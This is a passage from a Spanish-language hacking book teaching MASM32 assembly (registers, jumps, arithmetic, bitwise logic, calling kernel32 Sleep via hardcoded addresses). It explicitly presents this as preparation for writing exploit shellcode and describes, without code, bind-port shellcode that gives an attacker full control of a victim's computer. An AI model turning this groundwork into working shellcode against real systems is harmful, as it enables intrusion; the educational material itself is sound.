b) Directiva: La directiva estará relacionada con el tipo de datos que la aplicación va a guardar dentro de la
memoria RAM; además, la directiva estará relacionada con el espacio que los datos van a ocupar en la memoria
RAM. A continuación se muestran las directivas y el espacio que cada una ocupa:
DB (Define Byte): 1 byte
DW (Define Word): 2 bytes
DD (Define Doubleword): 4 bytes
DQ (Define Quadword): 8 bytes
DT (Define Ten Bytes): 10 bytes
7) La Directiva code (.code): Un informático puede utilizar la directiva code para indicarle al compilador de ASM que
él/ella va a comenzar a escribir sus códigos de programación, como por ejemplo las instrucciones del lenguaje
ensamblador (push, call, add…), los registros de ASM (EAX, ESP…), y otros códigos de programación que son por
el estilo. Un punto importante que un programador debe saber sobre la directiva code y los códigos de programación
es que los códigos deben quedar dentro de las palabras start y end start. Por un lado, la palabra start para indicar que
El Libro de Teraexe Alvaro J. Gene
167
se van a comenzar a incluir códigos de programación; por otro lado, la palabra end start para indicar que se
terminaron de incluir los códigos de programación.
8) La Directiva invoke: invoke es una palabra en el idioma inglés, la cual puede ser traducida al idioma español como
invocar (llamar a…). En el lenguaje ensamblador, un programador puede utilizar la directiva invoke cuando él/ella
quiere llamar a una función; usualmente, después del nombre de la función, el programador tiene que incluir el
parámetro de la función que él/ella está llamando o utilizando. Por ejemplo, en el código fuente que se encuentra
más adelante, se usa la directiva invoke para llamar a la función StdOut, la cual se encarga de mostrar texto en la
línea de comandos. Además de llamar la función stdout, también se puede notar que usa el parámetro addr de la
siguiente forma: invoke StdOut, addr AGene_Variable. En la línea de código anterior, la función StdOut y su
parámetro addr se encargan de mostrar el contenido de la variable AGene_Variable dentro de la línea de comandos.
En otras palabras, si un programador quiere utilizar la directiva invoke junto a la función Stdout para así mostrar el
contenido de una variable dentro de la línea de comandos, él/ella puede hacerlo siguiendo las siguientes
instrucciones:
invoke StdOut, addr Nombre_de_Variable
9) La Función ExitProcess: Un informático puede utilizar la función ExitProcess para terminar la ejecución de un
programa. En este caso, se llama con la directiva invoke y se utiliza el valor de cero cómo parámetro de la función.
A continuación se muestra un ejemplo:
invoke ExitProcess, 0.
El Libro de Teraexe Alvaro J. Gene
168
Práctica – Aplicación 1: Mensaje de Texto en Consola:
Primero, tienes que instalar MASM32 y ejecutarlo.
Segundo, copia el código fuente de color azul que aparece al final de estos pasos (Código Fuente – Aplicación 1:
Mensaje de Texto en Consola) y colócalo dentro del editor MASM32.
Tercero, click en File, Save As, y guarda tu aplicación como: AGene_ASM.asm (asegúrate de incluir el .asm).
Cuarto, click en Project, Console Assemble & Link. Luego, verás un resultado similar al siguiente:
Quinto, ejecuta el programa desde la línea de comandos:
El Libro de Teraexe Alvaro J. Gene
169
Código Fuente – Aplicación 1: Mensaje de Texto en Consola:
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
.data
AGene_Variable db "El Libro de Teraexe by Socket_0x03", 0
.code
start:
invoke StdOut, addr AGene_Variable ; Comentario.
invoke ExitProcess, 0
end start
Resultado:
El Libro de Teraexe Alvaro J. Gene
170
Teoría – Aplicación 2: Mensaje de Texto en Windows:
La Función MessageBox
En esta sección, usaremos la directiva invoke para así llamar una función que tiene como nombre MessageBox. A
continuación se muestra la sintaxis de la función MessageBox:
MessageBox
Identificador de Ventana
Texto en Ventana
Título de Ventana
Tipo de Ventana
a) Identificador de Ventana: En este parámetro, un informático debe colocar un identificador que identifique el dueño
o propietario de la ventana; sin embargo, en nuestro caso utilizaremos el valor de NULL para así indicar que la
ventana no tiene ningún propietario o dueño.
b) Texto en Ventana: En esta sección, un programador debe colocar el texto o la información que parecerá dentro de la
ventana.
c) Título de Ventana: Como su nombre lo indica, en esta sección el informático debe colocar una variable que
contendrá la información que aparecerá como título de la ventana.
d) Tipo de Ventana: En este parámetro, una persona debe colocar aquel valor que estará relacionado con el tipo de
ventana; por ejemplo, el valor de MB_OK hace que la ventana muestre un solo botón en donde el usuario del
programa puede cliquear para causar X o Y efecto. En nuestro caso, como es un programa básico, no causaremos
ningún efecto.
El Libro de Teraexe Alvaro J. Gene
171
Práctica – Aplicación 2: Mensaje de Texto en Windows:
Primero, tienes que instalar MASM32 y ejecutarlo.
Segundo, copia el código fuente de color azul que aparece al final de estos pasos y colócalo dentro del editor MASM32.
Tercero, click en File, Save As, y guarda tu aplicación como: AGene_Ejercicio2.asm (asegúrate de incluir el .asm).
Cuarto, click en Project, Assemble & Link. Luego, verás un resultado similar al siguiente:
Quinto, click en Project, Run Program.
El Libro de Teraexe Alvaro J. Gene
172
Código Fuente – Aplicación 2: Mensaje de Texto en Windows:
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
.data
AGene_Variable_Texto db "Socket_0x03", 0
AGene_Variable_Titulo db "El Libro de Teraexe", 0
.code
start:
invoke MessageBox,
NULL,
addr AGene_Variable_Texto,
addr AGene_Variable_Titulo,
MB_OK
invoke ExitProcess, 0
end start
Resultado:
El Libro de Teraexe Alvaro J. Gene
173
Teoría – Aplicación 3: Los Registros del CPU y Los Saltos Condicionales:
Introducción al CPU y sus Registros
¿Qué es el CPU? La palaba CPU proviene de las siglas en inglés Central Processing Unit, lo que en español significaría
Unidad Central de Procesamiento. Como su nombre lo indica, el CPU es el cerebro principal de la computadora que se
encarga de “procesar” las instrucciones de un programa, como por ejemplo aquellas instrucciones u operaciones que
están relacionadas con la suma, resta, multiplicación, división, lógica, entrada/salida (input/output), y muchas otras
instrucciones que un programa le puede enviar a una computadora. El CPU o procesador no solamente se encarga de
procesar las diferentes operaciones o instrucciones de una aplicación, sino que también puede llegar a almacenar los
datos de un programa de forma temporal mediante unas pequeñas memorias que son llamadas registros. ¿Qué son los
registros del CPU? Los registros del CPU son pequeñas memorias que se encargan de almacenar los datos de un
programa. Usualmente, cuando un programador declara una variable en algún lenguaje de programación como
C/C++/Java, el valor de la variable es almacenado en la memoria RAM de una computadora; en este caso, el CPU o
procesador tiene que trabajar fuerte para leer y realizar operaciones con los datos que se encuentran almacenados en la
memoria RAM debido a que los datos son enviados y recibidos mediante un bus de control que existe entre el CPU y la
memoria RAM. Por otro lado, en el lenguaje ensamblador, un programador podría almacenar sus datos en los registros
del CPU en lugar de la memoria RAM; en este caso, el CPU o procesador puede trabajar de forma más rápida cuando se
trata de leer y realizar operaciones con los datos que se encuentran almacenados en los registros del CPU debido a que
los datos no tienen que ser transferidos mediante un bus de control en el que se usa la memoria RAM. En esta sección,
estudiaremos los registros más importantes que se usan en las arquitecturas x86 de 32bit:
El Libro de Teraexe Alvaro J. Gene
174
Tipos de Registros
En el diagrama anterior, podemos observar que existen 8 registros de 32-bits, 8 registros de 16-bits, y 8 registros de
8-bits. A continuación vamos a describir algunos de los registros más importantes que un programador puede utilizar
para desarrollar aplicaciones en ASM y shellcodes:
Registros de Datos:
Un programador puede utilizar los registros de datos cuando él/ella quiere almacenar números enteros dentro del CPU.
Usualmente, esos números enteros pueden ser utilizados para realizar operaciones de aritmética, operaciones de lógica,
y operaciones de entrada/salida (input/output). A continuación se muestra un diagrama que está relacionado con los
registros de datos:
a) Registro EAX (Extended Accumulator Register): El registro EAX es conocido en el idioma inglés como the
primary accumulator, lo que en español significaría el acumulador primario. ¿Por qué se le llama el acumulador? El
registro EAX se le conoce como el acumulador primario porque es el registro principal que un informático puede
utilizar para almacenar o añadir (acumular = juntar/añadir) valores dentro del CPU, los cuales podrían ser utilizados
El Libro de Teraexe Alvaro J. Gene
175
para operaciones de aritmética y operaciones de entrada/salida (input/output). Cuando un informático quiere añadir
valores al registro EAX, él/ella tiene que utilizar la instrucción mov (mover o añadir) de una forma similar a la
siguiente: mov eax valor. Por ejemplo, si queremos añadir el número 86 al registro EAX, entonces escribiríamos
una línea de código como la siguiente: mov eax, 86.
b) Registro EDX (Extended Data Register): EDX proviene de las siglas en inglés Extended Data Register, lo que en
español significaría registro de datos extendido. Como su nombre lo indica, un programador puede utilizar el
registro EDX para almacenar valores. Usualmente, estos valores pueden ser almacenados para realizar operaciones
de aritmética/lógica con los valores del registro EAX. Al igual que el registro EAX, el registro EDX no solamente
es utilizado para operaciones de aritmética/lógica, sino que también es utilizado para operaciones de entrada/salida
(input/output). Cuando un informático quiere añadir valores al registro EDX, él/ella tiene que seguir la siguiente
sintaxis: mov edx, valor. Por ejemplo, para añadir el valor o número 86 al registro EDX, se tiene que escribir una
línea como la siguiente: mov edx, 86.
Como El Libro de Teraexe solamente brinda una base sobre el lenguaje ensamblador para que el lector pueda
escribir shellcodes básicas, en este tutorial solamente se brindará información sobre algunos registros del CPU; por
lo tanto, si el lector desea obtener más información sobre los registros, él/ella puede usar el internet.
Saltos Condicionales
En el lenguaje ensamblador, cuando un programador desea realizar un salto condicional, él/ella puede seguir los
siguientes dos pasos:
Primero, el informático puede utilizar la instrucción cmp para comparar los valores almacenados en los registros del
CPU. A continuación se muestra un ejemplo: cmp eax, edx.
El Libro de Teraexe Alvaro J. Gene
176
Segundo, el programador debe utilizar una de las instrucciones relacionadas con los saltos condicionales, como por
ejemplo la instrucción jz, la cual se encarga de realizar un salto únicamente si los valores son iguales. A continuación se
muestra un ejemplo:
Jz _Label ; Si los valores son iguales, ejecuta la instrucción de _Label, la cual muestra el valor de una variable.
_Label: invoke StdOut, addr Variable ; Muestra el valor de una variable.
La Instrucción jmp
Un dato importante que un programador debe saber sobre los saltos es que él/ella puede utilizar la instrucción jmp para
realizar un salto de una forma similar a la siguiente:
jmp _Label
mov eax, 86
_Label: invoke ExitProcess, 0
En el ejemplo anterior, se realiza un salto desde la primera línea a la tercera línea sin ejecutar la segunda línea, la cual
tiene el siguiente código: mov eax, 86. Esto quiere decir que el valor 86 no se añade al registro EAX. Como dato
adicional, lógicamente, si utilizamos la instrucción jmp para realizar un salto a un label que se encuentre 10 líneas más
arriba, entonces repetiríamos las líneas de códigos nuevamente.
El Libro de Teraexe Alvaro J. Gene
177
Práctica – Aplicación 3: Los Registros del CPU y Los Saltos Condicionales:
Primero, tienes que ejecutar MASM32.
Segundo, copia el código fuente de color azul que aparece al final de estos pasos y colócalo dentro del editor MASM32.
Tercero, click en File, Save As, y guarda tu aplicación como: AGene_Registros.asm (asegúrate de incluir el .asm).
Cuarto, click en Project, Console Assemble & Link.
Quinto, ejecuta el programa desde la línea de comandos y verás un resultado similar al siguiente:
Sexto, en el código fuente de la aplicación, cambia el valor de uno de los registros. Por ejemplo, puedes cambiar la línea
de código mov eax, 86 por mov eax, 83. Luego, click en File, Save.
Séptimo, click en Project, Console Assemble & Link.
Octavo, ejecuta el programa desde la línea de comandos y obtendrás el siguiente resultado:
El Libro de Teraexe Alvaro J. Gene
178
Código Fuente – Aplicación 3: Los Registros del CPU y Los Saltos Condicionales:
.386
.model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib .data AGene_Igual db "Los registros EAX y EDX tienen valores iguales (86).", 0 AGene_Diferente db "Los registros EAX y EDX tienen valores diferentes.", 0 .code start: mov eax, 86 ; mueve el numero 86 al registro eax mov edx, 86 ; mueve el numero 86 al registro edx cmp eax, edx ; compara el valor de un registro con el otro jz _AGeneIgual ; Si los valores son iguales, salta a _AGeneIgual _AGene_Diferente: invoke StdOut, addr AGene_Diferente jmp _AGene_ExitProcess ; Salto Para Terminar Programa. _AGeneIgual: invoke StdOut, addr AGene_Igual ; Muestra valor de AGene_Igual. _AGene_ExitProcess: invoke ExitProcess, 0 end start
Resultado:
El Libro de Teraexe Alvaro J. Gene
179
Teoría – Aplicación 4: Instrucciones de Aritmética:
En el lenguaje ensamblador, un informático puede realizar diferentes tipos de operaciones aritméticas gracias a las
siguientes instrucciones: add, sub, mul, imul, div, inc, y dec. Las instrucciones nombradas anteriormente funcionan con
dos tipos de argumentos, los cuales son llamados fuente y destino. Por un lado, la fuente es el valor que debe cumplir
con una de las siguientes características: (a) La fuente debe ser un registro del CPU. (b) La fuente debe ser una
localización de memoria. (c) La fuente debe ser el valor de una constante. Por otro lado, el destino es el valor que debe
cumplir con una de las siguientes características: (a) El destino debe ser un registro del CPU. (b) El destino debe ser una
localización de memoria. Cuando se trabaja con fuente y destino, los valores de la fuente son añadidos al destino y una
de las dos (destino o fuente) debe ser un registro del CPU. A continuación se mostrará la sintaxis de Intel en donde se
usa la fuente y el destino para las instrucciones de aritmética que se nombraron anteriormente:
a) Añadir Valores:
Sintaxis: add destino, fuente
Ejemplo: add eax, 20
b) Restar Valores:
Sintaxis: sub destino, fuente
Ejemplo: sub eax, 10
c) Multiplicar Valores – Primer Método:
Sintaxis: imul destino, fuente
Ejemplo: imul eax, 3
d) Multiplicar Valores – Segundo Método:
Sintaxis: mul argumento
Ejemplo: mul bl
Nota: Nótese que bl es un registro del CPU que contiene un valor; además, el valor de bl
será multiplicado por el valor del registro que se encuentra en una línea de código superior.
En el código fuente de ejemplo es el registro EAX (ver código para entender con claridad).
El Libro de Teraexe Alvaro J. Gene
180
e) Dividir Valores:
Sintaxis: div argumento
Ejemplo: div bl
f) Incrementar Valor (+1):
Sintaxis: inc argumento
Ejemplo: inc eax
g) Disminuir Valor (-1):
Sintaxis: dec argumento
Ejemplo: dec eax
Práctica – Aplicación 4: Los Registros del CPU y Los Saltos Condicionales:
Primero, tienes que ejecutar MASM32.
Segundo, copia el código fuente de color azul que aparece al final de estos pasos y colócalo dentro del editor MASM32.
Tercero, click en File, Save As, y guarda tu aplicación como: AGene_Aritmetica.asm (asegúrate de incluir el .asm).
Cuarto, click en Project, Console Assemble & Link.
Quinto, ejecuta el programa desde la línea de comandos y verás un resultado similar al siguiente:
El Libro de Teraexe Alvaro J. Gene
181
Código Fuente – Aplicación 4: Instrucciones de Aritmética:
.386
.model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib .data AGene_Igual db "Los registros EAX y EDX tienen valores iguales (91).", 0 AGene_Diferente db "Los registros EAX y EDX tienen valores diferentes.", 0 .code start: mov eax, 20 ; mueve el numero 20 al registro eax mov edx, 91 ; mueve el numero 91 al registro edx mov bl, 2 ; mueve el numero 2 al registro bl add eax, 20 ; 20 + 20 = 40 sub eax, 10 ; 40 - 10 = 30 mul bl ; 30 x 2 = 60 imul eax, 3 ; 60 x 3 = 180 div bl ; 180 / 2 = 90 inc eax ; 90 + 1 = 91 inc eax ; 91 + 1 = 92 dec eax ; 92 - 1 = 91 cmp eax, edx ; compara el valor de un registro con el otro jz _AGeneIgual ; Si los valores son iguales, va a _AGeneIgual _AGene_Diferente: invoke StdOut, addr AGene_Diferente jmp _AGene_ExitProcess ; Salto Para Terminar Programa. _AGeneIgual: invoke StdOut, addr AGene_Igual ; Muestra valor de AGene_Igual. _AGene_ExitProcess: invoke ExitProcess, 0 end start
Resultado
El Libro de Teraexe Alvaro J. Gene
182
Teoría – Aplicación 5-9: Instrucciones de Lógica:
Introducción al Dígito Binario
El dígito binario o bit es la unidad más pequeña de información, la cual puede ser representada como cero (0) o uno (1).
Cuando un informático diseña un programa para almacenar datos dentro de la memoria de una computadora, esos datos
son almacenados en un formato o sistema que es conocido como binario. ¿Qué es el sistema binario? El sistema binario
es una forma de representar los números/caracteres usando únicamente dos dígitos, los cuales son el cero y el uno; por
ejemplo, el número decimal 10 podría ser representado en su forma binaria como 1010. A continuación se muestra una
pequeña lista de los números decimales y sus equivalentes números binarios:
Número Decimal Número Binario
0 0000 0000
1 0000 0001
2 0000 0010
3 0000 0011
4 0000 0100
5 0000 0101
6 0000 0110
7 0000 0111
Después de que un informático desarrolla una aplicación que almacena números/caracteres en la memoria de una
computadora, él/ella puede utilizar algunas instrucciones de ASM para realizar operaciones a nivel de bit en los
El Libro de Teraexe Alvaro J. Gene
183
números/caracteres que fueron almacenados en la memoria. Lógicamente, si se realiza una operación a nivel bit que
cambie los números binarios, el valor decimal del número que fue almacenado en la memoria también va a cambiar. A
continuación se muestran algunas de las instrucciones de ASM que nos permiten realizar operaciones a nivel de bit:
a) La Instrucción AND: Un programador puede utilizar la instrucción AND para multiplicar los bits de dos valores.
Por ejemplo, un informático podría utilizar la instrucción AND para multiplicar los dígitos de dos números
decimales de la siguiente forma:
0010 1011 = 43
0101 0110 = 86
0000 0010 = 02
b) La Instrucción OR: La instrucción OR va a almacenar el valor de uno (1) si uno de los dos bits es uno; además, la
instrucción OR va a almacenar el valor de uno (1) si ambos bits tienen el valor de (1). Por otro lado, la instrucción
OR almacenará el valor de cero y ambos bits tienen el valor de cero. A continuación se muestra un ejemplo:
0010 1011 = 43
0101 0110 = 86
0111 1111 = 127
c) La Instrucción XOR: La instrucción XOR va a almacenar el valor de uno (1) si ambos bits tienen valores diferentes,
como por ejemplo cero y uno; por otro lado, la instrucción XOR almacenará el valor de cero si ambos bits tienen el
mismo valor, como por ejemplo 1 y 1.
0010 1011 = 43
0101 0110 = 86
0111 1101 = 125
Un dato interesante sobre la instrucción XOR es que un informático puede usarla para limpiar el contenido (dejando
el valor en cero) almacenado dentro de algún registro del CPU. Por ejemplo, una línea de código como la siguiente
dejaría en cero el valor del registro eax: xor eax, eax.
El Libro de Teraexe Alvaro J. Gene
184
d) La Instrucción NOT: Un informático puede utilizar la instrucción NOT cuando él/ella quiere realizar una operación
a nivel de bit y obtener el valor opuesto de cada bit. En este caso, la instrucción NOT va a almacenar el valor de 0 si
el valor del bit es 1; por otro lado, la instrucción NOT almacenará el valor de 1 si el valor del bit es 0. A
continuación se muestra un ejemplo:
0010 1011 = 43
1101 0100 = -44
El Libro de Teraexe Alvaro J. Gene
185
Código Fuente – Aplicación 5 – Versión Consola: La Instrucción AND
.386
.model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib .data AGene_Igual db "Los registros EAX y EDX tienen valores iguales (2).", 0 AGene_Diferente db "Los registros EAX y EDX tienen valores diferentes.", 0 .code start: mov eax, 43 ; mueve el numero 43 al registro eax mov edx, 2 ; mueve el numero 2 al registro edx and eax, 86 ; resultado: 2 (0000 0010) ; 0010 1011 = 43 ; 0101 0110 = 86 ; 0000 0010 = 02 cmp eax, edx ; compara el valor de un registro con el otro jz _AGeneIgual ; Si los valores son iguales, va a _AgeneIgual _Agene_Diferente: invoke StdOut, addr Agene_Diferente jmp _Agene_ExitProcess ; Salto Para Terminar Programa. _AgeneIgual: invoke StdOut, addr Agene_Igual ; Muestra valor de Agene_Igual. _Agene_ExitProcess: invoke ExitProcess, 0 end start
Resultado:
El Libro de Teraexe Alvaro J. Gene
186
Código Fuente – Aplicación 6 – Versión Consola: La Instrucción OR
.386
.model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib .data AGene_Igual db "Los registros EAX y EDX tienen valores iguales (127).", 0 AGene_Diferente db "Los registros EAX y EDX tienen valores diferentes.", 0 .code start: mov eax, 43 ; mueve el numero 43 al registro eax mov edx, 127 ; mueve el numero 127 al registro edx or eax, 86 ; resultado: 127 (0111 1111) ; 0010 1011 = 43 ; 0101 0110 = 86 ; 0111 1111 = 127 cmp eax, edx ; compara el valor de un registro con el otro jz _AGeneIgual ; Si los valores son iguales, va a _AGeneIgual _AGene_Diferente: invoke StdOut, addr AGene_Diferente jmp _AGene_ExitProcess ; Salto Para Terminar Programa. _AGeneIgual: invoke StdOut, addr AGene_Igual ; Muestra valor de AGene_Igual. _AGene_ExitProcess: invoke ExitProcess, 0 end start
Resultado:
El Libro de Teraexe Alvaro J. Gene
187
Código Fuente – Aplicación 7 – Versión Consola: La Instrucción XOR
.386
.model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib .data AGene_Igual db "Los registros EAX y EDX tienen valores iguales (125).", 0 AGene_Diferente db "Los registros EAX y EDX tienen valores diferentes.", 0 .code start: mov eax, 43 ; mueve el numero 43 al registro eax mov edx, 125 ; mueve el numero 125 al registro edx xor eax, 86 ; resultado: 125 (0111 1101) ; 0010 1011 = 43 ; 0101 0110 = 86 ; 0111 1101 = 125 cmp eax, edx ; compara el valor de un registro con el otro jz _AGeneIgual ; Si los valores son iguales, va a _AGeneIgual _AGene_Diferente: invoke StdOut, addr AGene_Diferente jmp _AGene_ExitProcess ; Salto Para Terminar Programa. _AGeneIgual: invoke StdOut, addr AGene_Igual ; Muestra valor de AGene_Igual. _AGene_ExitProcess: invoke ExitProcess, 0 end start
Resultado:
El Libro de Teraexe Alvaro J. Gene
188
Código Fuente – Aplicación 8 – Versión Consola: Segunda Aplicación de la Instrucción XOR
.386
.model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib .data AGene_Igual db "Los registros EAX y EDX tienen valores iguales (0).", 0 AGene_Diferente db "Los registros EAX y EDX tienen valores diferentes.", 0 .code start: mov eax, 86 ; mueve el numero 86 al registro eax mov edx, 0 ; mueve el valor 0 al registro edx xor eax, eax ; cambia el valor del registror eax a 0 cmp eax, edx ; compara el valor de un registro con el otro jz _AGeneIgual ; Si los valores son iguales, va a _AGeneIgual _AGene_Diferente: invoke StdOut, addr AGene_Diferente jmp _AGene_ExitProcess ; Salto Para Terminar Programa. _AGeneIgual: invoke StdOut, addr AGene_Igual ; Muestra valor de AGene_Igual. _AGene_ExitProcess: invoke ExitProcess, 0 end start
Resultado:
El Libro de Teraexe Alvaro J. Gene
189
Código Fuente – Aplicación 9 – Versión Consola: La Instrucción NOT
.386
.model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib .data AGene_Igual db "Los registros EAX y EDX tienen valores iguales (-44).", 0 AGene_Diferente db "Los registros EAX y EDX tienen valores diferentes.", 0 .code start: mov eax, 43 ; mueve el numero 43 al registro eax mov edx, -44 ; mueve el numero -44 al registro edx not eax ; resultado: -44 (1101 0100) ; 0010 1011 = 43 ; 1101 0100 = -44 cmp eax, edx ; compara el valor de un registro con el otro jz _AGeneIgual ; Si los valores son iguales, va a _AGeneIgual _AGene_Diferente: invoke StdOut, addr AGene_Diferente jmp _AGene_ExitProcess ; Salto Para Terminar Programa. _AGeneIgual: invoke StdOut, addr AGene_Igual ; Muestra valor de AGene_Igual. _AGene_ExitProcess: invoke ExitProcess, 0 end start
Resultado:
El Libro de Teraexe Alvaro J. Gene
190
Teoría – Aplicación 10 y 11: Llamar Funciones de Archivos dll:
Introducción sobre Llamar Funciones
En el desarrollo de shellcodes, cuando un informático quiere ejecutar X o Y función de forma remota en la computadora
de la víctima, él/ella tiene que llamar las funciones de los archivos .dll, como por ejemplo las funciones de Ws2_32.dll
(connect, bind, gethostname… etc.) que permiten dejar un puerto a la escucha para que el atacante pueda conectar con
telnet/netcat a ese puerto y posteriormente pueda tomar todo el control de la otra computadora. Sin embargo, como El
Libro de Teraexe es para aquellos novatos que se están iniciando en el mundo del hacking, no vamos a ir a un nivel tan
avanzado en el desarrollo de las shellcodes; en este libro, aprenderemos a desarrollar shellcodes y programas básicos
que cargan funciones simples, como por ejemplo las funciones de Sleep y Beep que se encuentran en kernel32.dll.
La Función Sleep de Kernel32.dll
Antes de crear shellcodes que llamen las funciones de los archivos .dll, vamos a usar el lenguaje ensamblador para crear
programas que llamen las funciones de los archivos .dll. En la primera aplicación, se va a cargar la función Sleep que se
encuentra en el archivo Kernel32.dll.
1. Limpiar Registros: El primer paso consiste en limpiar los registros del CPU para asegurarnos de que sus valores
queden en 0 y no suceda algún inconveniente en la ejecución de un programa o shellcode. Para limpiar los registros del
CPU, usamos la instrucción XOR de una forma similar a la siguiente: xor eax, eax. En la línea de código anterior, se
puede observar como la instrucción XOR limpia los valores del registro EAX, dejando así el valor del registro EAX en
cero.
2. Buscar Dirección de Memoria de una Función: El segundo paso consiste en buscar la dirección de memoria de Sleep,
la cual se puede hacer mediante un programa llamado Arwin u otro llamado Offsets. A continuación se muestran dos
ejemplos de cómo encontrar la dirección de memoria de Sleep:
El Libro de Teraexe Alvaro J. Gene
191
Una vez que se encuentra la dirección de memoria de una función, el informático debe agregarla a uno de los registros
del CPU, como por ejemplo el registro EAX; en ese caso, se puede escribir una línea de código como la siguiente: mov
eax, 7c802442h. Como se puede observar en la línea de código anterior, cuando desarrollamos un programa de ASM
que va a cargar la función de un archivo .dll, tenemos que incluir una “h” al final de la dirección de memoria, sin
embargo, cuando se trata de escribir shellcodes para un exploit, la “h” no se va a incluir dentro de la shellcode.
3. Estudiar el Uso de la Función: Una vez que tenemos la dirección de memoria de una función, el tercer paso consiste
en estudiar el uso de la función (en X lenguaje de programación) mediante la documentación que ofrecen sus
desarrolladores. En el caso de la función Sleep, podemos observar que esa función se utiliza para realizar una pausa por
El Libro de Teraexe Alvaro J. Gene
192
X cantidad de tiempo, además, también se puede observar que su sintaxis en el lenguaje de programación C/C++ es la
siguiente:
Sleep (Milisegundos);
a) Milisegundos: En el primer parámetro de la función Sleep, podemos observar que se incluye el tiempo de ejecución
en milisegundos. Lógicamente, si queremos realizar una pausa de 4 segundos, usaríamos la función Sleep de la
siguiente forma: Sleep(4000);.
4. Agregar valores de Función: El cuarto paso consiste en agregar a los registros del CPU aquellos valores o argumentos
que X función va a utilizar. Por ejemplo, en la siguiente aplicación, vamos a agregar el valor de 4000 al registro BX
porque queremos que la función Sleep use ese valor para causar una pausa de 4 segundos. En nuestro ejemplo, se
escribe la siguiente línea de código: mov bx, 4000.
5. Colocar Valores en la Pila: Después de agregar los valores (los valores que la función va a utilizar) al registro del
CPU, el quinto paso consiste en utilizar la instrucción push para empujar o añadir esos valores a la pila. En nuestro
código fuente, se puede observar cómo se utiliza la instrucción push para empujar los valores del registro EBX a la pila:
push ebx (el valor almacenado en bx es empujado a la pila).
6. Llamar la Función: Finalmente, el sexto y último paso consiste en utilizar la instrucción call para llamar la función
que se va a ejecutar. En nuestro caso, se puede observar cómo se escribe la siguiente línea de código: call eax.
En la primera aplicación de esta sección, después de compilar el código fuente y ejecutar el archivo ejecutable, se puede
observar cómo se realiza una pausa de cuatro segundos antes de que aparezca la ventana de Windows. Lógicamente, la
pausa de cuatro segundos se realiza porque se cargó la función de Sleep junto a su valor de 4000.
El Libro de Teraexe Alvaro J. Gene
193
La Función Beep de Kernel32.dll
En el segundo código fuente, se muestra un ejemplo de cómo cargar la función Beep que se encuentra en Kernel32.dll.
En este caso, en lugar de usar la función Sleep que usa un solo argumento o valor, usaremos la función Beep que usa dos
argumentos o valores.
1. Limpiar Registros: El primer paso consiste en limpiar aquellos registros que vamos a utilizar para la función Beep.
En el código fuente, se puede observar cómo se limpian tres registros del CPU y se dejan sus valores en cero:
xor eax, eax xor ebx, ebx xor edx, edx
2. Buscar Dirección de Memoria de una Función: En el segundo paso, se busca la dirección de memoria de la función
Beep:
El Libro de Teraexe Alvaro J. Gene
194
3. Estudiar el Uso de la Función: En el tercer paso, podemos observar la sintaxis de la función Beep:
Beep (Frecuencia, Duración);
a) Frecuencia: Frecuencia del sonido, el cual se debe encontrar en un rango que va de 37 a 32, 767.
b) Duración: Duración del sonido en milisegundos.
4. Agregar valores de Función: El cuarto paso consiste en agregar a los registros del CPU aquellos valores o argumentos
que X función va a utilizar. Por ejemplo, en la siguiente aplicación, vamos a agregar el valor de 520 al registro EBX
porque queremos que la función Beep la use en su primer parámetro; además, vamos a agregar el valor de 4000 al
registro EDX porque queremos que la función Beep la use en su segundo parámetro. A continuación se muestran las
líneas de códigos que se usaron para agregar los valores al registro del CPU:
mov bx, 520 ; Frecuencia
mov dx, 4000 ; Duración
5. Colocar Valores en la Pila: Después de agregar los valores (los valores que la función va a utilizar) a los registro del
CPU, el quinto paso consiste en utilizar la instrucción push para empujar o añadir esos valores a la pila. En nuestro
código fuente, se puede observar cómo se utiliza la instrucción push para empujar los valores del registro EBX y EDX
a la pila:
push ebx
push edx
6. Llamar la Función: Finalmente, el sexto y último paso consiste en utilizar la instrucción call para llamar la función
que se va a ejecutar. En nuestro caso, se puede observar cómo se escribe la siguiente línea de código: call eax.
En la segunda aplicación de esta sección, después de compilar el código fuente y ejecutar el archivo ejecutable, se
puede escuchar el sonido Beep mientras se ve una ventana de Windows.
El Libro de Teraexe Alvaro J. Gene
195
Código Fuente – Aplicación 10 – Versión Windows: Llamar Funciones de Archivos dll
.386
.model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib .data Teraexe_ExerciseOne db "El Libro de Teraexe by Socket_0x03", 0 .code start: xor eax, eax ; Limpiando el registro EAX xor ebx, ebx ; Limpiando el registro EBX mov eax, 7c802442h ; Kernel32.dll, Dirección de memoria de Sleep mov bx, 4000 ; Pausa de cuatro segundos push ebx ; Empujando el valor 4000 a la pila call eax ; Llamando la función de Sleep de Kernel32.dll invoke MessageBox, NULL, addr Teraexe_ExerciseOne, addr Teraexe_ExerciseOne, MB_OK invoke ExitProcess, 0 end start
Resultado: Después de cuatro segundos, aparece la siguiente ventana:
El Libro de Teraexe Alvaro J. Gene
196
